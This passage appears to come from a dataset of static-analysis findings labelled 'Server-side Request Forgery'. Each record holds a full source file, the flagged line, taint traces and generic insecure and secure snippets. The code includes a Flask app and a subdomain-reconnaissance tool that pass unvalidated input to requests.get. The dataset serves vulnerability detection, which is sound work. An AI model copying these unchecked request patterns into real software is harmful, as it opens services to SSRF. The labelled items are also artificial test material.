Favorites.fav_type=='org')).first()\n\n # delete the favorite and commit\n db.session.delete(fav)\n db.session.commit()\n\n # Flash delete message\n flash('Removed ' + request.form['unfav_name'] + ' from favorites')\n \n # Refresh the page after unfavoriting\n return redirect(request.path)\n\n # Render the page for logged-in users and anonymous users\n else:\n\n # Calculate search results and org names\n search_results=orgs_search_results_data.paginate(\n page=page,\n per_page=orgsPerPage)\n orgNames = [item.name for item in search_results.items]\n \n # Find the projects whose owners are in the search results\n projects=Projects.query.filter(Projects.owner.in_(orgNames))\n \n try:\n\n # Render page for logged-in users\n return render_template(\n 'organizations.html',\n search_results=search_results,\n search_term=org_search_term,\n projects=projects,\n title='OSP | Organizations',\n favorites=Favorites.query.filter(\n and_(Favorites.user_id==current_user.id,\n Favorites.fav_type=='org')) \\\n .with_entities(Favorites.fav_name))\n\n # If the above rendering fails, render the anonymous page\n except:\n\n #Render page for anonymous users\n return render_template(\n 'organizations.html',\n search_results=search_results,\n search_term=org_search_term,\n projects=projects,\n title='OSP | Organizations',\n favorites=[])\n\n# Route for individual project pages\n@app.route('/project/', methods=['GET', 'POST'])\ndef project(projectName):\n\n # Logic for favoriting the project\n if request.method == 'POST' and 'fav_name' in request.form:\n\n # Look for whether the favorite record already exists\n favorite=Favorites.query.filter(\n and_(Favorites.user_id==current_user.id,\n Favorites.fav_name==request.form['fav_name'],\n Favorites.fav_type=='project')).first()\n\n # If the Favorite record does not yet exist, create it\n if favorite is None:\n \n # Create the Favorites record\n new_fav = Favorites(\n id=random.randint(-2147483648, 2147483647),\n user_id=current_user.id,\n fav_name=request.form['fav_name'],\n fav_type='project')\n\n # Flash add message\n flash('Added ' + request.form['fav_name'] + ' to favorites')\n \n # Add and commit the Favorites record\n db.session.add(new_fav)\n db.session.commit()\n\n # Refresh the page after favoriting\n return redirect(request.path)\n\n # Logic for unfavoriting the project\n elif request.method == 'POST' and 'unfav_name' in request.form:\n\n # Look for the existing Favorites record\n fav = db.session.query(Favorites).filter(\n and_(Favorites.user_id==current_user.id,\n Favorites.fav_name==request.form['unfav_name'],\n Favorites.fav_type=='project')).first()\n\n # Delete the Favorite and commit\n db.session.delete(fav)\n db.session.commit()\n\n # Flash delete message\n flash('Removed ' + request.form['unfav_name'] + ' from favorites')\n \n # Refresh the page after unfavoriting\n return redirect(request.path)\n\n # Try to render the page for this project\n try:\n\n # Retrieve the data for the project page\n proj = Projects.query.filter(Projects.name==projectName).one()\n orgName = Organizations.query.filter(\n Organizations.name==proj.owner).one()\n projs = Projects.query.filter(Projects.owner==orgName.name)\n count = projs.count()\n\n # Render the page for logged-in users\n try:\n return render_template(\n 'project.html',\n project=proj,\n projects=projs,\n count=count,\n title='OSP | ' + projectName,\n favorites=Favorites.query.filter(\n and_(Favorites.user_id==current_user.id,\n Favorites.fav_type=='project')) \\\n .with_entities(Favorites.fav_name),\n favCount=Favorites.query.filter(\n Favorites.fav_name==projectName).count())\n \n # Render the page for anonymous users\n except:\n return render_template(\n 'project.html',\n project=proj,\n projects=projs,\n count=count,\n title='OSP | ' + projectName,\n favorites=[],\n favCount=Favorites.query.filter(\n Favorites.fav_name==projectName).count())\n\n # If the project does not exist, render the 404 page\n except:\n return render_template('404.html', title='OSP | 404'), 404\n\n# Route for individual organization pages\n@app.route('/org/', methods=['GET', 'POST'])\ndef organization(orgName):\n\n # Logic for favoriting an org\n if request.method == 'POST' and 'fav_name' in request.form:\n\n # Look for whether the org exists\n favorite=Favorites.query.filter(\n and_(Favorites.user_id==current_user.id,\n Favorites.fav_name==request.form['fav_name'],\n Favorites.fav_type=='org')).first()\n\n # If the favorite does not exist, create it\n if favorite is None:\n\n # Create the Favorites record\n new_fav = Favorites(\n id=random.randint(-2147483648, 2147483647),\n user_id=current_user.id,\n fav_name=request.form['fav_name'],\n fav_type='org')\n\n # Add the favorite and commit it\n db.session.add(new_fav)\n db.session.commit()\n\n # Flash add message\n flash('Added ' + request.form['fav_name'] + ' to favorites')\n \n # Refresh the page after favoriting\n return redirect(request.path)\n\n # Logic for unfavoriting the org\n elif request.method == 'POST' and 'unfav_name' in request.form:\n\n # Look for the existing Favorites record\n fav = db.session.query(Favorites).filter(\n and_(Favorites.user_id==current_user.id,\n Favorites.fav_name==request.form['unfav_name'],\n Favorites.fav_type=='org')).first()\n\n # Delete the favorites record and commit\n db.session.delete(fav)\n db.session.commit()\n\n # Flash delete message\n flash('Removed ' + request.form['unfav_name'] + ' from favorites')\n \n # Refresh the page after unfavoriting\n return redirect(request.path)\n\n # Logic for favoriting project on org page\n elif request.method == 'POST' and 'proj_fav_name' in request.form:\n\n # Look for whether the proj exists\n favorite=Favorites.query.filter(\n and_(Favorites.user_id==current_user.id,\n Favorites.fav_name==request.form['proj_fav_name'],\n Favorites.fav_type=='project')).first()\n\n # If the favorite does not exist, create it\n if favorite is None:\n\n # Create the Favorites record\n new_fav = Favorites(\n id=random.randint(-2147483648, 2147483647),\n user_id=current_user.id,\n fav_name=request.form['proj_fav_name'],\n fav_type='project')\n \n # Add the favorite and commit it\n db.session.add(new_fav)\n db.session.commit()\n\n # Flash add message\n flash('Added ' + request.form['proj_fav_name'] + ' to favorites')\n \n # Refresh the page after favoriting\n return redirect(request.path)\n\n # Logic for unfavoriting proj on org page\n elif request.method == 'POST' and 'proj_unfav_name' in request.form:\n\n # Look for the existing Favorites record\n fav = db.session.query(Favorites).filter(\n and_(Favorites.user_id==current_user.id,\n Favorites.fav_name==request.form['proj_unfav_name'],\n Favorites.fav_type=='project')).first()\n \n # Delete the favorites record and commit\n db.session.delete(fav)\n db.session.commit()\n \n # Flash delete message\n flash('Removed ' + request.form['proj_unfav_name'] + ' from favorites')\n \n # Refresh the page after unfavoriting\n return redirect(request.path)\n\n # Try to render the page for the org\n try:\n\n # Retrieve the necessary data\n org = Organizations.query.filter(Organizations.name==orgName).one()\n projs = Projects.query.filter(Projects.owner==orgName)\n\n # Render the page for logged-in users\n try:\n return render_template(\n 'organization.html',\n organization=org,\n projects=projs,\n title='OSP | ' + orgName,\n favorites=Favorites.query.filter(\n and_(Favorites.user_id==current_user.id,\n Favorites.fav_type=='org')) \\\n .with_entities(Favorites.fav_name),\n proj_favs=Favorites.query.filter(\n and_(Favorites.user_id==current_user.id,\n Favorites.fav_type=='project')) \\\n .with_entities(Favorites.fav_name),\n favCount=Favorites.query.filter(\n Favorites.fav_name==orgName).count())\n\n # Render the page for anonymous users\n except:\n return render_template(\n 'organization.html',\n organization=org,\n projects=projs,\n title='OSP | ' + orgName,\n favorites=[],\n proj_favs=[],\n favCount=Favorites.query.filter(\n Favorites.fav_name==orgName).count())\n\n # If page rendering fails, render the 404 page\n except:\n return render_template('404.html', title='OSP | 404'), 404\n\n# Route for profile page\n@main.route('/profile', methods=['GET', 'POST'])\n@login_required\n@check_confirmed\ndef profile():\n\n # Logic for unfavoriting the org\n if request.method == 'POST' and 'unfav_name' in request.form:\n\n # Look for the existing Favorites record\n fav = db.session.query(Favorites).filter(\n and_(Favorites.user_id==current_user.id,\n Favorites.fav_name==request.form['unfav_name'],\n Favorites.fav_type=='org')).first()\n\n # Delete the favorites record and commit\n db.session.delete(fav)\n db.session.commit()\n\n # Flash delete message\n flash('Removed ' + request.form['unfav_name'] + ' from favorites')\n \n # Refresh the page after unfavoriting\n return redirect(request.path)\n\n # Logic for unfavoriting proj on org page\n elif request.method == 'POST' and 'proj_unfav_name' in request.form:\n\n # Look for the existing Favorites record\n fav = db.session.query(Favorites).filter(\n and_(Favorites.user_id==current_user.id,\n Favorites.fav_name==request.form['proj_unfav_name'],\n Favorites.fav_type=='project')).first()\n\n # Delete the favorites record and commit\n db.session.delete(fav)\n db.session.commit()\n\n # Flash delete message\n flash('Removed ' + request.form['proj_unfav_name'] + ' from favorites')\n \n # Refresh the page after unfavoriting\n return redirect(request.path)\n\n # Find project favorites for current user\n favProjs=Favorites.query.filter(\n and_(Favorites.user_id==current_user.id,\n Favorites.fav_type=='project')) \\\n .with_entities(\n Favorites.fav_name)\n\n # Find favorite projects\n projects=db.session.query(Projects).filter(Projects.name.in_(favProjs))\n\n # Find organization favorites for current user\n favOrgs=Favorites.query.filter(\n and_(Favorites.user_id==current_user.id,\n Favorites.fav_type=='org')) \\\n .with_entities(\n Favorites.fav_name)\n\n # Find favorite organizations\n organizations=db.session.query(\n Organizations).filter(Organizations.name.in_(favOrgs))\n\n # Render the profile for a logged in user\n return render_template('profile.html',\n name=current_user.name,\n title='OSP | Profile',\n projects=projects,\n organizations=organizations,\n favProjsCount=Favorites.query.filter(\n and_(Favorites.user_id==current_user.id,\n Favorites.fav_type=='project')).count(),\n favOrgsCount=Favorites.query.filter(\n and_(Favorites.user_id==current_user.id,\n Favorites.fav_type=='org')).count(),\n favorites=Favorites.query.filter(\n Favorites.user_id==current_user.id),\n subProjects=Projects.query.all())\n\n\n# Route for submitting projects\n@main.route('/project-submit', methods=['GET', 'POST'])\n@login_required\n@check_confirmed\ndef project_submit():\n\n # Logic for submitting github project\n if request.method == 'POST':\n \n # Pull in submit term from form\n submit_term = request.form['submit_term']\n \n # Use github api to access user's project\n item = requests.get(\n \"https://api.github.com/repos/\" + submit_term).json()\n\n # Check if project was found\n if \"name\" not in item:\n flash('Project not found on github')\n return redirect(url_for('main.project_submit'))\n \n # Check if project is already in database\n q = db.session.query(Projects.name).filter(Projects.name==item[\"name\"])\n\n # If the project exists, do not add it again\n if db.session.query(q.exists()).scalar():\n flash('Project already exists in database')\n return redirect(url_for('project', projectName=item[\"name\"]))\n \n # Create the new Project record\n new_proj = Projects(\n name = item[\"name\"],\n url = item[\"html_url\"],\n description = item[\"description\"],\n source = \"github\",\n owner = item[\"owner\"][\"login\"],\n owner_avatar = item[\"owner\"][\"avatar_url\"],\n language = item[\"language\"],\n created_time = item[\"created_at\"],\n last_updated = item[\"updated_at\"],\n forks = item[\"forks\"],\n watchers = item[\"watchers\"],\n open_issues = item[\"open_issues\"],\n owner_type = item[\"owner\"][\"type\"])\n \n # Add the project and commit\n db.session.add(new_proj)\n db.session.commit()\n\n # Logic for adding favorite project\n if 'favProj' in request.form:\n\n # Create the Favorites record\n new_fav = Favorites(\n id=random.randint(-2147483648, 2147483647),\n user_id=current_user.id,\n fav_name=item[\"name\"],\n fav_type='project')\n \n # Add the favorite and commit it\n db.session.add(new_fav)\n db.session.commit()\n \n # Check if org is already in database\n q = db.session.query(Organizations.name).filter(\n Organizations.name==item[\"owner\"][\"login\"])\n \n # If the organization exists, do not add it again\n if not db.session.query(q.exists()).scalar():\n\n # Create the new Project record\n new_org = Organizations(\n name = item[\"owner\"][\"login\"],\n avatar = item[\"owner\"][\"avatar_url\"],\n owner_type = item[\"owner\"][\"type\"],\n url = \"https://github.com/\" + item[\"owner\"][\"login\"])\n\n # Add the org and commit\n db.session.add(new_org)\n db.session.commit()\n\n # flash project and org added message\n flash('Project and Organization Added!')\n \n else:\n # flash project added message\n flash('Project Added!')\n\n # Logic for adding favorite org\n if 'favOrg' in request.form:\n\n # Create the Favorites record\n new_fav = Favorites(\n id=random.randint(-2147483648, 2147483647),\n user_id=current_user.id,\n fav_name=item[\"owner\"][\"login\"],\n fav_type='org')\n \n # Add the favorite and commit it\n db.session.add(new_fav)\n db.session.commit()\n \n # Load the manage page\n return redirect(url_for('main.project_submit'))\n \n # Render project submit page\n return render_template('project-submit.html', title='OSP | Project Submit')\n\n# Route for 404 page\n@app.errorhandler(404)\ndef page_not_found(e):\n\n # Render the 404 page\n return render_template('404.html', title='OSP | 404'), 404", "dangerousExampleEn": "1. from django.shortcuts import render\n2. import requests\n3. \n4. def call_third_party_api(request):\n5. \taddr = request.POST.get('address', '')\n6. \n7. \t...\n8. \n9. \tresult = requests.get(addr).text\n10. \treturn render(request, '/result.html', {'result':result})\nLine 9: This is insecure because the value taken from the user in Line 5 is returned without whitelist validation.", "safeExampleEn": "1. from django.shortcuts import render\n2. import requests\n3. \n4. \n5. ...\n6. \n7. ALLOW_SERVER_LIST = [\n8. \t'https://127.0.0.1/latest/',\n9. \t'https://192.168.0.1/user_data',\n10. \t'https://192.168.0.100/v1/public'\n11. ]\n12. \n13. def call_third_party_api(request):\n14. \taddr = request.POST.get('address', '')\n15. \n16. ...\n17. \n18. \tif addr not in ALLOW_SERVER_LIST:\n19. \t\treturn render(request, '/error.html', {error = 'This server is not allowed.'})\n20. \n21. result = requests.get(addr).text\n22. \treturn render(request, '/result.html', {'result':result})\nLine 18: This is secure because the value taken from the user in Line 14 undergoes a whitelist validation process created in Line 7.", "contexts": [{"lineNo": 750, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "752"}}, {"lineNo": 753, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 753, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.form"}}, {"lineNo": 753, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.form[\"submit_term\"]"}}, {"lineNo": 753, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 756, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "requests.get"}}]}} {"id": "f551478035a2a615dfcd0f594925534e10417d0a3ba9c94d508a5a445320e0fe", "license": {"spdx": ["BSD-3-Clause"], "repo": "bbhunter/ODIN", "path": "lib/subdomains.py", "repo_head_hexsha": "03fb0044fe658df4d67ffbb8223060958537f17e", "stack_hexsha": "8ee2da1edd216a440e6b5fa1e7e3036311d2b699", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "If unverified external inputs are used in requests submitted between servers, a security vulnerability could allow malicious actions to occur.\nIf a web server has a vulnerable application, an attacker can trick the application into performing abnormal behaviors or obtaining data from the trusted network by forging a URL or a request statement to bypass access control.\nUse a whitelist to filter user input values when the input value used to call another system's service is within an identifiable range. Create a blacklist that filters a list of internal URLs when it is required to receive a random URL that is specified by the user. In addition, ensure to check authentication or authorization on requests sent over the internal network.", "issueLineNumber": 207, "entireCode": "#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\nThis module contains everything needed to hunt for subdomains, including collecting certificate\ndata from Censys.io and crt.sh for a given domain name.\n\nThe original crt.sh code is from PaulSec's unofficial crt.sh API. That project can be\nfound here:\n\nhttps://github.com/PaulSec/crt.sh\n\"\"\"\n\nimport re\nimport json\nimport base64\nfrom time import sleep\n\nimport click\nimport requests\nimport censys.certificates\nfrom bs4 import BeautifulSoup\n\nfrom . import helpers\n\n\nclass CertSearcher(object):\n \"\"\"Class for searching crt.sh and Censys.io for certificates and parsing the results.\"\"\"\n # Set a timeout, in seconds, for the web requests\n requests_timeout = 10\n # The user-agent and endpoint URIs used for the web requests\n crtsh_base_uri = \"https://crt.sh/?q={}&output=json\"\n user_agent = \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36\"\n\n def __init__(self):\n \"\"\"Everything that should be initiated with a new object goes here.\"\"\"\n try:\n censys_api_id = helpers.config_section_map(\"Censys\")[\"api_id\"]\n censys_api_secret = helpers.config_section_map(\"Censys\")[\"api_secret\"]\n self.censys_cert_search = censys.certificates.CensysCertificates(api_id=censys_api_id,api_secret=censys_api_secret)\n except censys.base.CensysUnauthorizedException:\n self.censys_cert_search = None\n click.secho(\"[!] Censys reported your API information is invalid, so Censys searches will be skipped.\",fg=\"yellow\")\n click.secho(\"L.. You provided ID %s & Secret %s\" % (censys_api_id,censys_api_secret),fg=\"yellow\")\n except Exception as error:\n self.censys_cert_search = None\n click.secho(\"[!] Did not find a Censys API ID/secret.\",fg=\"yellow\")\n click.secho(\"L.. Details: {}\".format(error),fg=\"yellow\")\n\n def search_crtsh(self,domain,wildcard=True):\n \"\"\"Collect certificate information from crt.sh for the target domain name. This returns\n a JSON containing certificate information that includes the issuer, issuer and expiration\n dates, and the name.\n\n Parameters:\n domain Domain to search for on crt.sh\n wildcard Whether or not to prepend a wildcard to the domain (default: True)\n\n Return a list of objects, like so:\n {\n \"issuer_ca_id\": 16418,\n \"issuer_name\": \"C=US, O=Let's Encrypt, CN=Let's Encrypt Authority X3\",\n \"name_value\": \"hatch.uber.com\",\n \"min_cert_id\": 325717795,\n \"min_entry_timestamp\": \"2018-02-08T16:47:39.089\",\n \"not_before\": \"2018-02-08T15:47:39\"\n }\n \"\"\"\n headers = {\"User-Agent\":self.user_agent}\n if wildcard:\n domain = \"%25.{}\".format(domain)\n try:\n req = requests.get(self.crtsh_base_uri.format(domain),headers=headers,timeout=self.requests_timeout)\n if req.ok:\n try:\n content = req.content.decode(\"utf-8\")\n data = json.loads(\"[{}]\".format(content.replace('}{','},{')))\n return data\n except:\n pass\n except requests.exceptions.Timeout:\n click.secho(\"\\n[!] The connection to crt.sh timed out!\",fg=\"red\")\n except requests.exceptions.TooManyRedirects:\n click.secho(\"\\n[!] The connection to crt.sh encountered too many redirects!\",fg=\"red\")\n except requests.exceptions.RequestException as error:\n click.secho(\"\\n[!] The connection to crt.sh encountered an error!\",fg=\"red\")\n click.secho(\"L.. Details: {}\".format(error),fg=\"red\")\n return None\n\n def search_censys_certificates(self,target):\n \"\"\"Collect certificate information from Censys for the target domain name. This returns\n a dictionary of certificate information that includes the issuer, subject, and a hash\n Censys uses for the /view/ API calls to fetch additional information.\n\n A Censys API key is required.\n\n Parameters\n target The domain name, e.g. apple.com, to be looked-up with on Censys.\n \"\"\"\n if self.censys_cert_search is None:\n pass\n else:\n try:\n # Use the `parsed.names` filter to avoid unwanted domains\n query = \"parsed.names: %s\" % target\n results = self.censys_cert_search.search(query,fields=['parsed.names',\n 'parsed.signature_algorithm.name','parsed.signature.self_signed',\n 'parsed.validity.start','parsed.validity.end','parsed.fingerprint_sha256',\n 'parsed.subject_dn','parsed.issuer_dn'])\n return results\n except censys.base.CensysRateLimitExceededException:\n click.secho(\"\\n[!] Censys reports your account has run out of API credits.\",fg=\"red\")\n return None\n except Exception as error:\n click.secho(\"\\n[!] Error collecting Censys certificate data for {}.\".format(target),fg=\"red\")\n click.secho(\"L.. Details: {}\".format(error),fg=\"red\")\n return None\n\n def parse_cert_subdomain(self,subject_dn):\n \"\"\"Accepts the Censys certificate data and parses the individual certificate's domain.\n\n Parameters:\n subject_dn Accepts the subject_dn field from a Censys search result.\n \"\"\"\n if \",\" in subject_dn:\n pos = subject_dn.find('CN=')+3\n else:\n pos = 3\n tmp = subject_dn[pos:]\n if \",\" in tmp:\n pos = tmp.find(\",\")\n tmp = tmp[:pos]\n return tmp\n\n def filter_subdomains(self,domain,subdomains):\n \"\"\"Filter out uninteresting domains that may be returned from certificates. These are\n domains unrelated to the true target. For example, a search for blizzard.com on Censys\n can return iran-blizzard.ir, an unwanted and unrelated domain.\n\n Credit to christophetd for this nice bit of code:\n https://github.com/christophetd/censys-subdomain-finder/blob/master/censys_subdomain_finder.py#L31\n\n Parameters:\n domain The base domain to be used for filtering subdomains, e.g. apple.com\n subdomains A list of collected subdomains to filter\n \"\"\"\n return [ subdomain for subdomain in subdomains if '*' not in subdomain and subdomain.endswith(domain) ]\n\n\nclass SubdomainCollector(object):\n \"\"\"Class for scraping DNS Dumpster and NetCraft to discover subdomains.\"\"\"\n # Set a timeout, in seconds, for the web requests\n requests_timeout = 10\n # The user-agent and endpoint URIs used for the web requests\n dnsdumpster_uri = \"https://dnsdumpster.com/\"\n findsubdomains_uri = \"https://findsubdomains.com/subdomains-of/{}\"\n netcraft_uri = \"http://searchdns.netcraft.com/?host={}\"\n netcraft_history_uri = \"http://toolbar.netcraft.com/site_report?url={}\"\n user_agent = \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36\"\n\n def __init__(self,webdriver=None):\n \"\"\"Everything that should be initiated with a new object goes here.\n\n Parameters:\n webdriver A selenium webdriver object to be used for automated web browsing\n \"\"\"\n self.browser = webdriver\n self.browser.set_page_load_timeout(10)\n\n def check_dns_dumpster(self,domain):\n \"\"\"Collect subdomains known to DNS Dumpster for the provided domain. This is based on\n PaulSec's unofficial DNS Dumpster API available on GitHub.\n\n Parameters:\n domain The domain to search for on DNS Dumpster\n \"\"\"\n results = {}\n cookies = {}\n # Disable SSL warnings and create a session for web browsing\n requests.packages.urllib3.disable_warnings()\n session = requests.session()\n # Try connecting to DNS Dumpster\n # This is all in one try/except because request 1 must success for request 2\n try:\n # Make a request to stash the CSRF token and setup cookies and headers for the next request\n request = session.get(self.dnsdumpster_uri,verify=False,timeout=self.requests_timeout)\n csrf_token = session.cookies['csrftoken']\n cookies['csrftoken'] = session.cookies['csrftoken']\n headers = {\"Referer\": self.dnsdumpster_uri}\n data = {\"csrfmiddlewaretoken\": csrf_token,\"targetip\":domain}\n # Now make a POST to DNS Dumpster with the new cookies and headers to perform the search\n request = session.post(self.dnsdumpster_uri,cookies=cookies,data=data,headers=headers,timeout=self.requests_timeout)\n # Check if a 200 OK was returned\n if request.ok:\n soup = BeautifulSoup(request.content,\"lxml\")\n tables = soup.findAll(\"table\")\n results['domain'] = domain\n results['dns_records'] = {}\n results['dns_records']['dns'] = self._retrieve_results(tables[0])\n results['dns_records']['mx'] = self._retrieve_results(tables[1])\n results['dns_records']['txt'] = self._retrieve_txt_record(tables[2])\n results['dns_records']['host'] = self._retrieve_results(tables[3])\n # Try to fetch the network mapping image\n try:\n val = soup.find('img',attrs={'class': 'img-responsive'})['src']\n tmp_url = \"{}{}\".format(self.dnsdumpster_uri,val)\n image_data = base64.b64encode(requests.get(tmp_url,timeout=self.requests_timeout).content)\n except Exception:\n image_data = None\n finally:\n results['image_data'] = image_data\n else:\n click.secho(\"\\n[!] The DNS Dumpster request returned a {} status code!\".format(request.status_code),fg=\"red\")\n except requests.exceptions.Timeout:\n click.secho(\"\\n[!] The connection to crt.sh timed out!\",fg=\"red\")\n except requests.exceptions.TooManyRedirects:\n click.secho(\"\\n[!] The connection to crt.sh encountered too many redirects!\",fg=\"red\")\n except requests.exceptions.RequestException as error:\n click.secho(\"\\n[!] The connection to crt.sh encountered an error!\",fg=\"red\")\n click.secho(\"L.. Details: {}\".format(error),fg=\"red\")\n return results\n\n def _retrieve_results(self,table):\n \"\"\"Used by check_dns_dumpster() to extract the results from the HTML.\n\n Parameters:\n table The HTML table pulled from DNS Dumpster results\n \"\"\"\n results = []\n trs = table.findAll('tr')\n for tr in trs:\n tds = tr.findAll('td')\n pattern_ip = r'([0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3})'\n ip = re.findall(pattern_ip,tds[1].text)[0]\n domain = tds[0].text.replace('\\n','').split(' ')[0]\n header = ' '.join(tds[0].text.replace('\\n','').split(' ')[1:])\n reverse_dns = tds[1].find('span',attrs={}).text\n additional_info = tds[2].text\n country = tds[2].find('span',attrs={}).text\n autonomous_system = additional_info.split(' ')[0]\n provider = ' '.join(additional_info.split(' ')[1:])\n provider = provider.replace(country,'')\n data = {'domain':domain,\n 'ip':ip,\n 'reverse_dns':reverse_dns,\n 'as':autonomous_system,\n 'provider':provider,\n 'country':country,\n 'header':header}\n results.append(data)\n return results\n\n def _retrieve_txt_record(self,table):\n \"\"\"Used by check_dns_dumpster() to extracts the domain's DNS TXT records.\n\n Parameters:\n table The HTML table pulled from DNS Dumpster results\n \"\"\"\n results = []\n for td in table.findAll('td'):\n results.append(td.text)\n return results\n\n def check_netcraft(self,domain):\n \"\"\"Collect subdomains known to NetCraft for the provided domain. NetCraft blocks scripted\n requests by requiring cookies and JavaScript for all browser, so Selenium is required.\n\n This is based on code from the DataSploit project, but updated to work with today's\n NetCraft and Python 3.\n\n Parameters:\n domain The domain to look-up on NetCraft\n \"\"\"\n results = []\n target_dom_name = domain.split(\".\")\n self.browser.get(self.netcraft_uri.format(domain))\n link_regx = re.compile(r'')\n links_list = link_regx.findall(self.browser.page_source)\n for x in links_list:\n dom_name = x.split(\"/\")[2].split(\".\")\n if (dom_name[len(dom_name) - 1] == target_dom_name[1]) and \\\n (dom_name[len(dom_name) - 2] == target_dom_name[0]):\n results.append(x.split(\"/\")[2])\n num_regex = re.compile('Found (.*) site')\n num_subdomains = num_regex.findall(self.browser.page_source)\n if not num_subdomains:\n num_regex = re.compile('First (.*) sites returned')\n num_subdomains = num_regex.findall(self.browser.page_source)\n if num_subdomains:\n if num_subdomains[0] != str(0):\n num_pages = int(num_subdomains[0]) // 20 + 1\n if num_pages > 1:\n last_regex = re.compile(\n '%s.\\n' % (20))\n last_item = last_regex.findall(self.browser.page_source)[0].split(\"/\")[2]\n next_page = 21\n for x in range(2,num_pages):\n url = \"http://searchdns.netcraft.com/?host=%s&last=%s&from=%s&restriction=/site%%20contains\" % (domain,last_item,next_page)\n self.browser.get(url)\n link_regx = re.compile(\n r'')\n links_list = link_regx.findall(self.browser.page_source)\n for y in links_list:\n dom_name1 = y.split(\"/\")[2].split(\".\")\n if (dom_name1[len(dom_name1) - 1] == target_dom_name[1]) and \\\n (dom_name1[len(dom_name1) - 2] == target_dom_name[0]):\n results.append(y.split(\"/\")[2])\n last_item = links_list[len(links_list) - 1].split(\"/\")[2]\n next_page = 20 * x + 1\n else:\n pass\n return results\n\n def fetch_netcraft_domain_history(self,domain):\n \"\"\"Fetch a domain's IP address history from NetCraft.\n\n Parameters:\n domain The domain to look-up on NetCraft\n \"\"\"\n # TODO: See if the \"Last Seen\" and other data can be easily collected for here\n ip_history = []\n sleep(1)\n self.browser.get(self.netcraft_history_uri.format(domain))\n soup = BeautifulSoup(self.browser.page_source,'html.parser')\n urls_parsed = soup.findAll('a',href=re.compile(r\".*netblock\\?q.*\"))\n for url in urls_parsed:\n if urls_parsed.index(url) != 0:\n result = [str(url).split('=')[2].split(\">\")[1].split(\"<\")[0],\\\n str(url.parent.findNext('td')).strip(\"\").strip(\"\")]\n ip_history.append(result)\n return ip_history\n\n def query_subdomainof(self,domain):\n \"\"\"Look-up the given domain on findsubdomains.com and parse the results to get a list of\n subdomains.\n\n Parameters:\n domain The base domain for the subdomains query\n \"\"\"\n subdomains = []\n headers = { 'User-Agent': self.user_agent }\n request = requests.get(self.findsubdomains_uri.format(domain),headers=headers,timeout=self.requests_timeout)\n soup = BeautifulSoup(request.content,\"lxml\")\n subdomain_links = soup.findAll('a',{'class': 'aggregated-link'})\n for subdomain in subdomain_links:\n if not subdomain.string.strip() == domain:\n subdomains.append(subdomain.string.strip())\n unique_subdomains = list(set(subdomains))\n return unique_subdomains", "dangerousExampleEn": "1. from django.shortcuts import render\n2. import requests\n3. \n4. def call_third_party_api(request):\n5. \taddr = request.POST.get('address', '')\n6. \n7. \t...\n8. \n9. \tresult = requests.get(addr).text\n10. \treturn render(request, '/result.html', {'result':result})\nLine 9: This is insecure because the value taken from the user in Line 5 is returned without whitelist validation.", "safeExampleEn": "1. from django.shortcuts import render\n2. import requests\n3. \n4. \n5. ...\n6. \n7. ALLOW_SERVER_LIST = [\n8. \t'https://127.0.0.1/latest/',\n9. \t'https://192.168.0.1/user_data',\n10. \t'https://192.168.0.100/v1/public'\n11. ]\n12. \n13. def call_third_party_api(request):\n14. \taddr = request.POST.get('address', '')\n15. \n16. ...\n17. \n18. \tif addr not in ALLOW_SERVER_LIST:\n19. \t\treturn render(request, '/error.html', {error = 'This server is not allowed.'})\n20. \n21. result = requests.get(addr).text\n22. \treturn render(request, '/result.html', {'result':result})\nLine 18: This is secure because the value taken from the user in Line 14 undergoes a whitelist validation process created in Line 7.", "contexts": [{"lineNo": 194, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "194"}}, {"lineNo": 195, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 195, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestSubdomainCollector.check_dns_dumpster.request.content"}}, {"lineNo": 195, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "BeautifulSoup"}}, {"lineNo": 205, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "find"}}, {"lineNo": 205, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "find[\"src\"]"}}, {"lineNo": 206, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "format"}}, {"lineNo": 206, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 207, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "requests.get"}}]}} {"id": "40dc9a3a4ce661e2f52e3d9d08608b99de382b34a86c584bca4e21f67932f2a2", "license": {"spdx": ["MIT"], "repo": "ilveroluca/backend", "path": "backend_app/views.py", "repo_head_hexsha": "91b80b154c4e1e45587797cc41bf2b2b75c23e68", "stack_hexsha": "252d77dd083a73bf370e3767b65a9c88ea827ded", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "If unverified external inputs are used in requests submitted between servers, a security vulnerability could allow malicious actions to occur.\nIf a web server has a vulnerable application, an attacker can trick the application into performing abnormal behaviors or obtaining data from the trusted network by forging a URL or a request statement to bypass access control.\nUse a whitelist to filter user input values when the input value used to call another system's service is within an identifiable range. Create a blacklist that filters a list of internal URLs when it is required to receive a random URL that is specified by the user. In addition, ensure to check authentication or authorization on requests sent over the internal network.", "issueLineNumber": 113, "entireCode": "import datetime\nimport os\nimport uuid\nfrom os.path import join as opjoin\nfrom 